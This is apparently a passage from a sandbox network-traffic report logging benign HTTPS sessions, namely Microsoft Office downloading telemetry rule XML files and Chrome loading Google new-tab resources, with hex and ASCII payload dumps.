2024-11-05 09:13:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49789	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 94271ffd-901e-0067-294a-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091329Z-158dbd74bf4kd595hC1SN1av8c00000003t000000000468y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49790	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7c58c81c-301e-0052-3c61-2e65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091329Z-157b9fd754ft96xrhC1SN1efqn0000000460000000002us1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49791	142.250.184.228	443	4140	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-05 09:13:30 UTC	1042	IN	HTTP/1.1 200 OK Version: 691307345 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 05 Nov 2024 09:13:30 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-05 09:13:30 UTC	336	IN	Data Raw: 31 66 65 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1fe6)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 37 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700307,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-11-05 09:13:30 UTC	948	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-11-05 09:13:30 UTC	512	IN	Data Raw: 31 66 39 0d 0a 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 67 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 Data Ascii: 1f9}catch(b){}return a};_.he\u003dfunction(){ge\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;thr
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 Data Ascii: 8000c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Ta(a);return b\u003d\u003d\"array\"\|\|b\u
2024-11-05 09:13:30 UTC	1378	IN	Data Raw: 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 7a 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 Data Ascii: :d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};ze\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49792	142.250.184.228	443	4140	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-05 09:13:30 UTC	957	IN	HTTP/1.1 200 OK Version: 691307345 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 05 Nov 2024 09:13:30 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-05 09:13:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-05 09:13:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49797	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 09b5d2b9-701e-003e-6058-2e79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091330Z-157b9fd754fhlggqhC1SN1drew00000004dg00000000189k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49795	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
